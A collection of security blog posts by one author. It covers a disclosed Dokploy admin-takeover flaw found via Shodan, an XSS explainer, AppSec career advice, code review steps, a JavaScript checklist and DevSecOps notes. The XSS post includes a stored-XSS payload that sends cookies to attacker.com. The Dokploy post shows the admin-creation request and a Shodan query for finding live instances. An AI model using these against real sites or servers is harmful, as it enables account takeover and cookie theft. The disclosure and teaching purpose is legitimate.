Forem: Bour Abdelhadi

How I Accidentally Became an Admin on 600 Servers

Bour Abdelhadi — Tue, 27 Aug 2024 07:36:05 +0000

As I was going through Hacker News, a trending topic about Dokku caught my eye—it was the top-ranked post at the time. For those who aren't familiar, Dokku is an open-source Platform as a Service (PaaS) that you can run on your own server. It’s often compared to Heroku, but with the added benefit of complete ownership and control.

The article was insightful, but what really piqued my interest was a comment mentioning a similar tool called Dokploy. It’s like Dokku, but with a more user-friendly interface—a great addition for those who appreciate simplicity. Kudos to the team/developer behind it.

Being someone who enjoys exploring the security aspects of applications, I was curious to see how many people were using Dokploy, especially since it had gained 5.6k stars. My goal was to identify any vulnerabilities that could potentially compromise the instances running this tool.

Starting with the Basics

When testing applications, I often begin by looking for low-hanging fruit—vulnerabilities that are easy to find and exploit. In today's fast-paced development environment, small security oversights are common, so they’re often the most fruitful areas to explore.

Before downloading Dokploy to my local machine, I watched the demo on the official website. Around the 2:49 mark during the registration process, several questions came to mind as part of the threat modeling process:

Will the /register route remain accessible after the initial registration, potentially allowing unauthorized users to create accounts?
Could an attacker exploit this route to create a new user or override an existing one?
Is there a role-based access control (RBAC) mechanism implemented to manage permissions effectively and ensure that users only have access to resources appropriate to their roles?
Are there any additional security measures in place to prevent unauthorized access or privilege escalation?
.. etc

These questions are critical for understanding the potential risks and ensuring the security of the application.

Diving into Dokploy

I followed the manual installation steps because I prefer to know exactly what’s running on my machine. After building the Docker image and registering a new account, I intercepted the registration request to examine its details:

The API endpoint used
The request body content

Here’s what the registration request looked like:

curl 'http://127.0.0.1:3000/api/trpc/auth.createAdmin?batch=1' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ro;q=0.7' \
  -H 'Connection: keep-alive' \
  -H 'Origin: http://127.0.0.1:3000' \
  -H 'Referer: http://127.0.0.1:3000/register' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'User-Agent: [REDACTED] \
  -H 'content-type: application/json' \
  -H 'sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  --data-raw '{"0":{"json":{"email":"test@gmail.com","password":"[REDACTED]"}}}'

With this information, I then used Shodan, a search engine for finding specific devices connected to the internet, to locate instances running Dokploy. My search query "http.html:Dokploy" returned about 610 IPs. Interestingly, 158 of these were in Germany, likely because many users opted for Hetzner's VPS hosting, which offers competitive pricing.

Now, to address my earlier questions:

Can an attacker create a new user or override the current legitimate user?

It turns out, yes, they can. By manipulating the registration API endpoint (api/trpc/auth.createAdmin?batch=1) and altering the request body, it’s possible to create a new admin user or even override the existing one.

Here’s what the response looked like:

[
  {
    "result": {
      "data": {
        "json": true
      }
    }
  }
]

This response confirmed that I successfully created a new user and could log in as an administrator. But that wasn’t all—I found an endpoint that returned sensitive information, such as project details and admin user data.

And as if that wasn’t enough, I accessed the terminal via the Dokploy control panel and ran the whoami command, which returned :3

/usr/share/nginx/html # whoami
root

This indicated that I had full control over the server with root privileges—a significant security concern.

Final Thoughts

Creating tools like Dokploy is commendable, and it's clear that the team behind it has put in a lot of effort. However, it’s equally important to involve security experts early in the development process to identify and mitigate potential vulnerabilities before the tool is released into production.

Addressing low-hanging vulnerabilities is a crucial first step in ensuring the security of any application. While I didn’t have time to explore every potential issue, I hope this initial exploration serves as a starting point for others in the security community to further investigate and contribute to the project's improvement.

I contacted the owner of the Dokploy project to report the vulnerability I found, and I was impressed by how quickly he responded. Not only did he reply promptly, but he also pushed a fix with impressive speed. It's great to see such a proactive approach to security.

Understanding XSS with ChatGPT

Bour Abdelhadi — Tue, 06 Dec 2022 22:32:14 +0000

I recently asked chatGPT some questions about XSS in nodejs application , and the response was incredibly amazing. chatGPT provided detailed and accurate information, and even provided examples and code snippets to illustrate its points.

All the information below is provided by chatGPT ⬇

Introduction
Types of XSS Attacks
- Reflected XSS
- Stored XSS
- DOM-based XSS
Preventing XSS Attacks in Node.js

Introduction

Cross-site scripting (XSS) is a type of vulnerability that allows attackers to inject malicious code into a website. This can be used to steal user data, deface a website, or perform other malicious actions. In this article, we'll take a look at XSS attacks in Node.js, including the different types of XSS attacks and how to prevent them.

Types of XSS Attacks

There are three main types of XSS attacks: reflected, stored, and DOM-based XSS.

Reflected XSS

Reflected XSS attacks occur when an attacker injects malicious code into a website through a URL. The malicious code is then executed when the victim clicks on the URL. For example, an attacker might create a special link that includes malicious code, and then send that link to the victim in an email or on social media. When the victim clicks on the link, the code is executed on their browser.

Here's an example of vulnerable code in Node.js that is susceptible to reflected XSS attacks:

app.get('/search', (req, res) => {
  const query = req.query.q;
  const results = database.search(query);
  res.render('search-results', { results });
});

In this code, if the query parameter is not properly sanitized, an attacker could supply a malicious value for the q parameter that would be executed on the user's browser. For example, an attacker might craft a special URL that includes the following code as the q parameter:

http://www.example.com/search?q=<script>alert('XSS')</script>

When the victim clicks on this link, the code <script>alert('XSS')</script> is executed on their browser, causing an alert box to pop up with the message "XSS".

Stored XSS

Stored XSS attacks occur when an attacker injects malicious code into a website's database. The code is then executed when a victim views a page on the website that retrieves data from the database. For example, an attacker might inject malicious code into a website's comments section, and then wait for a victim to view the comments. When the victim views the comments, the code is executed on their browser.

Here's an example of vulnerable code in Node.js that is susceptible to stored XSS attacks:

app.post('/comment', (req, res) => {
  const user = req.user;
  const comment = req.body.comment;
  database.addComment(user, comment);
  res.redirect('/post/' + req.body.postId);
});

In this code, if the comment parameter is not properly sanitized, an attacker could supply a malicious value for the comment parameter that would be executed on the user's browser when they view the post. For example, an attacker might supply the following code as the comment parameter:

<script>document.location="http://attacker.com/steal-cookie.php?"+document.cookie</script>

When a victim views the post, the code is executed on their browser and their cookies are sent to the attacker's website.

DOM-based XSS

DOM-based XSS attacks occur when an attacker manipulates a website's Document Object Model (DOM) to execute malicious code. The code is executed on the victim's browser when they visit the website. For example, an attacker might manipulate a website's JavaScript code to include malicious code that is executed when a victim views the website.

Here's an example of vulnerable code in Node.js that is susceptible to DOM-based XSS attacks:

app.get('/', (req, res) => {
  const user = req.user;
  res.render('home', { user });
});

In this code, if the user object is not properly sanitized, an attacker could manipulate its properties to include malicious code that is executed on the user's browser. For example, an attacker might manipulate the user object to include the following code:

{
  username: 'attacker',
  avatar: '<img src="x" onerror="alert(\'XSS\')">'
}

When the victim views the homepage, the code <img src="x" onerror="alert('XSS')"> is executed on their browser, causing an alert box to pop up with the message "XSS".

Preventing XSS Attacks in Node.js

To prevent XSS attacks in your Node.js application, you should always sanitize user input to remove any potentially malicious code. This can be done using a library like xss-clean or by implementing your own sanitization function.

Here are some examples of how you can update the vulnerable code examples from earlier to prevent XSS attacks:

// Reflected XSS
app.get('/search', (req, res) => {
  const query = sanitizeInput(req.query.q);
  const results = database.search(query);
  res.render('search-results', { results });
});

// Stored XSS
app.post('/comment', (req, res) => {
  const user = req.user;
  const comment = sanitizeInput(req.body.comment);
  database.addComment(user, comment);
  res.redirect('/post/' + req.body.postId);
});

// DOM-based XSS
app.get('/', (req, res) => {
  const user = sanitizeObject(req.user);
  res.render('home', { user });
});

In these examples, the sanitizeInput() and sanitizeObject() functions would remove any potentially malicious code from the user input before it is used in the application. This can help to prevent attackers from being able to inject malicious code into the application.

Overall, XSS attacks are a serious threat to web applications, and it's important to take steps to prevent them. By sanitizing user input and following best practices for web security, you can help to protect your Node.js application from XSS attacks.

Application Security Engineer journey

Bour Abdelhadi — Sat, 09 Oct 2021 18:11:33 +0000

Introduction

When you start working as an application security engineer, you'll expect to find straightforward tasks to do. But this is not the case because each company has its vision and strategies to handle data security, which can let us infer that every organization's security maturity may differ from one to another.

Viewing data breaches and cyber incidents all the time proves that no one out there has a mature cyber security program.

If you are already working in this field, I imagine that you sometimes feel that you're achieving nothing and you are more invisible inside the organization. The bigest challenge I see is how to increase your visibility and have more transparency with your manager and the rest of your co-workers.

In this article, I'd like to share what I've learned while working in this field.

Understand the business & the product of the company.

Before jumping into security, you should know the product you are supporting inside out. If you don't understand what's behind the scene, you can't be expected to find vulnerabilities and flaws.

How to do that?

Read the documentation.
Ask questions, and don't be shy or arrogant.
Shadowing can sometimes help to accelerate the learning process.

Read or contribute to the work processes and procedures.

Processes & procedures provide a way to understand:

What needs to be done and why?
How do those processes need to be achieved, who performs them, what is the purpose?

Ask for these documents, in the beginning to avoid asking unnecessary questions in the future.

Keep in mind that your contribution will make you more visible, and it's a good sign that you understand how things are working inside.

Know how to test your product effectively.

I usually create a test plan before beginning my journey in finding vulnerabilities and flaws. To do that, ask your self few questions like:

Are you following the proper process?
What are you testing (determine the scope)?
Do you have all the resources you need to perform this testing?
Is there any timeframe I need to respect to deliver my report?
Who is the audience (C-level executives, software engineers, etc.)?

When you get relevant responses to these questions, start diving into the SDLC to understand the workflow and see how you fit in because you should be part of the development lifecycle(design, requirements, etc.). Thus you can integrate security in each stage (read this Agile Application Security book and thank me later ;).

If you are involved in the early stage development phase, consider using threat modeling to help your team to quantify risks and vulnerabilities

Automation is a good thing.

When you start working with tools like SAST, IAST, DAST, SCA, etc., find a way to integrate these tools in the build cycle / continuous integration, so you'll be able to check your source code for known vulnerabilities in case of new commits.

The results you get from these tools require human hands to review and validate the reported issues. You need to use a vulnerability management system to maintain product and application information, triage vulnerabilities, and push findings to systems like JIRA and Slack. e.g.:

Nessus.
IBM Security QRadar.
DefectDojo.
AlienVault USM (from AT&T Cybersecurity).
SaltStack.
BurpSuite.
Acunetix by Invicti.
Qualys Cloud Platform.
InsightVM (Nexpose).

Use a standard (OWASP, NIST, OSSTM, etc.)

Work with third-party pen-testers

Some companies prefer to work with third-party Pentesting companies to get a second validation and excellent report to show to the auditors ;). So you may be invited to attend some meetings to share your experience and help the external testers to determine the critical assets, etc.

...There are still many things to talk about; I will edit this article when I have more time.

If you want to succeed in this job, consider working collaboratively with the rest of the team.

You can reach me out on LinkedIn if you have questions @Bour Abdelhadi

My code review journey as a Web Security Engineer

Bour Abdelhadi — Fri, 01 Oct 2021 11:30:11 +0000

Summary

Introduction
Objectives
How to work effectively?
Input
Output
Steps
High-level process flow
RC sample code review report
Conclusion

Introduction

Code review is a part of regular development practices for any corporation. However, adding security elements to the code review is the most effective measure in preventing vulnerabilities, even before the first commit. Additionally, the code review process provides itself with sharing security best practices amongst a development team. Finally, it produces 'lessons' that we can learn to prevent future bugs.

The primary purpose of security engineers is to work collaboratively with the rest of the team to figure out a way not to reproduce the same vulnerabilities or at least implement a mechanism to minimize them.

Objectives

By executing the steps in this guide, you will be capable to:

Identify specific security-related flaws within the code.
Generate a list of security issues found in the code that we should prioritize for mitigation.

How to work effectively?

Set a time frame for your code reviews.

To not lose track of the higher-level security vulnerabilities you are looking for, Set a reasonable time frame on your reviews and use it to keep yourself from getting stuck. If you find yourself spending too much time on one place, mark it for later review and move to the next one.

Set clear objectives for your review.

A focused review is a helpful review. Spend time at the beginning of your review to understand the RC (Release candidate) tickets, and after that, check the bugs that are possible in the code you are reviewing.

Review small and manageable chunks of code.
Understand well the inputs and outputs for the code you are reviewing.
Review only for security issues.
Ask for help from the engineering team in case of missing comments and documentation.

Input

The following inputs are crucial to perform an efficient code review:

Architecture diagram

Use this to understand the high-level functioning of the application to help you identify possible security flaws at the very beginning and mitigate them before starting the development process.

Usage scenarios

Before jumping directly to the code, you must understand the usage and the purpose by reading the content of the tickets on the RC page. Otherwise, the code will be ambiguous.

Data flow

Any external inputs consider dangerous & untrusted; you should always trace the data flow from the source to the sink.

Inputs and outputs

Performing dataflow analysis is necessary to know each type of input and output the codebase has; you must use static analysis tools like SonarQube because it will be time-consuming doing this task manually.

Expert help

If you find it challenging to understand the business logic or the technical solution, go to the ticket and ask for more clarification.

Output

The code review aims to generate a list of bugs that we can fix to enhance the platform's security.

For more visibility, your list should contain:

Ticket ID
The vulnerable code snippet.
Proof of concept including exploitation and the impacts of the vulnerability.
Recommendations that help shorten the time to remediate vulnerabilities.

Steps

Static Analysis Scan (SAST)
In this step, use a static analysis tool like SonarQube to analyze the codebase, looking for flaws in these codes that may compromise security.
Threat modeling
The threat modeling process will help you understand the application and how it interacts with external entities. It includes creating use-cases to know how the application is working, identifying entry points to see where a potential intruder could interact with the application.
Identify code review objectives.
Code review objectives are a set of vulnerability types you will be looking for in the application based on its architecture and identified threats. For instance, it is not essential to look for SQL injection bugs if the application has no interactions with a database.
Examples of code review objectives:

Ensure that all untrusted external inputs are passed to a validation routine before being used.
Ensure that the application is built to handle all possible errors gracefully. When errors occur, the site should respond with a mainly designed result that is helpful to the user without revealing unnecessary internal details.
Check cryptographic algorithms to ensure secrets are cleared quickly.
Check the application routes to see how does user input maps to the application.
Search for sensitive Keywords, i.e., token, password, select, encode, decode, sanitize, etc.
Check every result from the SAST (SonarQube), which runs against the target codebase.
Once you find a valid vulnerability, perform search queries on the codebase for more issues of the same type.

Look for an entry point.

This step will take a detailed look at the code to find as many security vulnerabilities as possible. You should use the set of goals we developed in stages 1,2 and 3 for guidance.

We should also have the following handy:

List all the Hotspots from step 1.
Review all the security Hotspots to identify which of the vulnerabilities discovered in the codebase require mitigation steps and which can be treated as "false positives." Among those requiring attention, you then need to prioritize the urgency of each vulnerability and plan the implementation of mitigation steps.
Perform dataflow analysis.

What should you focus on analyzing the report generated from SAST?

Inputs - Find all the list of inputs and then pair this up to the code you need to review. For example, you should mark all the public interfaces, UI, database interaction, socket interaction, file IO, and other areas where your application can accept data as critical for review.
Hard-coded strings - Look for any hard-coded sensitive data, such as a password, cryptographic key, outbound communication to external components, or encryption of internal data, etc.
Error handling code - Look for all the error handling and see if they are handled securely. Because this may expose sensitive information – sometimes leading to vulnerabilities.
Session Management - Look for any weak session identifier generation, session replay, session fixation, etc.
Logical Attacks - Understand the business logic of the code because the SAST can't detect things like abuse of functionality, workflow bypass ..etc.
Code Quality.
Application Resource Handling - LFI, XXE, L/RFI, RCE

High-level process flow

RC sample code review report

Ticket Link: [T-link]
Release Version: [R-version]
Assignee: [Name]

Overview

#NO	Affected URL/File	Vulnerability	Risk Level	Ticket ID
1	https://codebor.com/index.php?id=	SQL INJECTION	CRITICAL	TICK-001
2	https://codebor.com/page.php?c=	XSS	MEDIUM	TICK-002

#NO	Vulnerability Class	Item Tested	Status
1	Access Control	Inadequate Auditing Controls. Unlimited Login Attempts. Password Complexity Policy	PASSED
2	Session Management	Weak Session Identifier Generation. Session Replay. Session Fixation Insufficient Session Expiration.	PASSED
3	Data Validation	Improper Input Validation. Dynamic SQL Commands. Improper Output Encoding. Format Strings	FAILED
4	Application Resource Handling	Path Traversal. Predictable Object Identifiers. XML Entity Expansion. Local & Remote File Inclusion. Shell command execution.	PASSED
5	Cryptography	Weak Algorithms. Poor Key Management. Insecure Data Storage.	PASSED
6	Logical Attacks	Abuse of Functionality. Workflow Bypass.	PASSED
7	“Hidden” Functionality	Debugging Interfaces. Undocumented Inputs.	PASSED
8	Code Quality	Verbose Error Messages. Unused / Dead Code. Improper Exception / Error Handling Inconsistent Logging.	PASSED

Conclusion

"It's much more useful to think of security as being a vector to follow rather than a point to be reached. Vectors have size and direction, and you should think about the direction you want to go in pursuit of security and how fast you'd like to chase it. However it's path you will continue to walk forever."

You can reach me out on LinkedIn if you have questions @Bour Abdelhadi

Do you want to support me? > 💲 Thanks :D

Javascript Security Checklist

Bour Abdelhadi — Wed, 29 Sep 2021 17:38:18 +0000

Summary

Introduction
1. Code Linting & SAST
2. Running a security audit with npm audit
3. Integrity checking for JavaScript (SRI)
- How does it work?
4. Validations, Validations, Validations!
5. Minify and obfuscate your Javascript
Conclusion

Introduction

Javascript is everywhere, It runs inside your browser, astronaut spacesuit, and most developers use it as a client-side and server-side programming language to allow them to create interactive web pages.

Javascript is a lightweight, interpreted programming language with first-class functions.

In addition, the Javascript ecosystem relies heavily on third-party libraries;

Therefore, ensuring the security of JavaScript requires following security best practices to reduce attack surfaces. But how do we keep JavaScript applications safe?

I will be sharing with you in this article some helpful tips I use every day as a security engineer so you can start thinking more about security before deploying your code to production.

1. Code Linting & SAST

Seeing real-time feedback through linting while you're coding inside your IDE can help you accelerate development and reduce costs by finding errors and security issues earlier.

You can use:

Most SAST tools like SonarQube provide more features to identify code smells and known security vulnerabilities.

2. Running a security audit with npm audit

Most of the developers are using NPM(node package manager), which is a tool that helps you to install other people's code packages into your Javascript project.

When it comes to security, the first thing we will consider is NPM audit tool. This tool will help you detect vulnerabilities in all your installed dependencies and help you fix them.

Suppose you are using Github as a source control management system. In that case, they have a tool called Dependabot, which automatically scans the dependencies of NPM and informs you via email to clarify the risks.

If you're working on a big project, you should consider automating this job instead of doing it manually each time by yourself. Thus, we can create a Cron Jobs to set recurring tasks (Choose your preferable CI tool).

3. Integrity checking for JavaScript (SRI)

If you're a developer, I'm sure you used before the <script> tag to import third-party libraries inside your code, but did you ever think about the possibility of manipulating the source code of those imported scripts?

Yes, It can happen, especially when you render external resources on your website. Therefore, your website may face a security breach.

You can use the SRI feature to enable browsers to verify the resources they fetch as a security measure.

<script src="https://example.com/example-framework.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

How does it work?

Let's say we'd like to add JQuery to our code.

Download the minimized version of JQuery.
Calculate the SHA256 hash of JQuery version 3.5.1 hosted by Cloudflare
Run it twice through OpenSSL to generate the checksum.
Encode the result in base64 format.

curl -s https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js | openssl dgst -sha256 -binary | openssl enc -base64 -A

9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=

Now that we have the hash, we can add the integrity attribute to the script tag and the prefix sha256- to the hash to indicate the hashing algorithm used. Starting from now, any browser that supports SRI will require that the provided hash matches the calculated hash of the downloaded file.

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"
        integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
        crossorigin="anonymous"></script>

Browser compatibility (SRI)

4. Validations, Validations, Validations!

Client-side validation is not enough, and you should never rely on it when you write your code.

Don't trust user inputs.
Use proper methodologies for encoding/escaping
Sanitize and clean your user inputs
Set secure cookies
Establish a secure content security policy
Encrypt data transmissions between client-side and server-side
Use updated libraries and frameworks
Perform regular scans on your underlying databases and codebases

Read:

5. Minify and obfuscate your Javascript

As an attacker, I will try my best to understand the business logic behind the application, and if I do so, I can find my way through.

It's crucial to minify & obfuscate your Javascript to make it more difficult for the attacker to understand your code and decrease the attack surface.

Conclusion

Great job if you followed this far!

Hopefully, you’re now more aware of the problems you may face while developing your javascript application. Keep in mind that this article covered only a few things you should check while securing your application.

You may also need to read about:

Configuration Management.
Authentication.
Session Management.
Secure Transmission.
Denial of Service.
Error Handling.

You can reach me out on LinkedIn if you have questions @Bour Abdelhadi

Do you want to support me? > 💲 Thanks :D

DevSecOps notes!

Bour Abdelhadi — Tue, 28 Sep 2021 12:31:20 +0000

DevSecOps notes!

I spent the last three months reading the Agile Application Security book, book, which helped to learn more about how to:

Add security practices to each stage of the existing SDLC.

Integrate security with planning, requirements, design, and at the code level.

Implement regulatory compliance in an agile or DevOps environment.

Build an effective security program through a culture of empathy, openness, transparency, and collaboration.

The software development area is changing every day, and it keeps accelerating. Therefore, The security pioneers should also change the way how to operate.

Integrating security in each stage of your existing development lifecycle requires a good plan and a well-documented study on your current environment setup.

Most organizations face a slowdown issue when it comes to executing security tasks in the SDLC workflow, and the main problem is the absence of Automation.

Automation will play a key role in enabling application security to sustain the speed of DevOps.

What is DevSecOps?

Before I say anything, I'd like to mention that DevSecOps is not a one-person job; What you see on LinkedIn and other job listing websites is titles, nothing more than.

DevSecOps is a culture or a process where the whole team (Development and IT operations) works collaboratively to build, test, and release software in a more agile, secure, and iterative manner than the traditional software development process.

In a nutshell, DevSecOps means integrating security into every stage of the software development lifecycle. Some people refer to it as shift-left, which suggests moving critical testing practices earlier in the SDLC.

This is a mainly DevSecOps flow chart. On this basis, we can think that the most prominent feature of DevSecOps to SDL is Automation

Before moving further with Automation, we should divide the testing part into two sections:

1- White-box is the practice of testing the code running behind the scene. This kind of testing is typically executed in Static Application Security Testing (SAST), including analyzers and linters in the IDE. Scanning the codebase we write is not enough; nowadays, 80-90% of a software project is third-party code in the form of libraries and packages. Thus we need Software Composition Analysis (SCA) to detect software licenses, deprecated dependencies, and known vulnerabilities.

2- Black-box is another way of testing the application while it's running; it's also known as Dynamic Analysis security testing (DAST). Black box analysis occurs in real-time, finding security issues that an attacker could exploit while the application is running in the production server.

The most common issue we face as security engineers is a large number of the false positive rate, which we'd like to reduce by using both black-box and white-box test techniques.

Integrate Security tools in your build pipeline

If you'd like to integrate SAST/SCA/DAST/ or RASP tools, all you need to do is to choose a suitable CI/CD tool such as GitLab CI/CD, Jenkins or anything else.

Integrating those security tools is not enough to ensure that we have everything in place. The most challenging job is to review the tool's results and automate that process as well.

"It's much more useful to think of security as being a vector to follow rather than a point to be reached. Vectors have size and direction, and you should think about the direction you want to go in pursuit of security and how fast you'd like to chase it. However it's path you will continue to walk forever."

@Bour Abdelhadi

Forem: Bour Abdelhadi

How I Accidentally Became an Admin on 600 Servers

Starting with the Basics

Diving into Dokploy

Final Thoughts

Understanding XSS with ChatGPT

Table Of Contents

Introduction

Types of XSS Attacks

Reflected XSS

Stored XSS

DOM-based XSS

Preventing XSS Attacks in Node.js

Application Security Engineer journey

Introduction

Understand the business & the product of the company.

Read or contribute to the work processes and procedures.

Know how to test your product effectively.

Automation is a good thing.

Work with third-party pen-testers

My code review journey as a Web Security Engineer

Summary

Introduction

Objectives

How to work effectively?

Input

Output

Steps

High-level process flow

RC sample code review report

Conclusion

Javascript Security Checklist

Summary

Introduction

1. Code Linting & SAST

2. Running a security audit with npm audit

3. Integrity checking for JavaScript (SRI)

How does it work?

4. Validations, Validations, Validations!

5. Minify and obfuscate your Javascript

Conclusion

DevSecOps notes!

DevSecOps notes!

What is DevSecOps?

Integrate Security tools in your build pipeline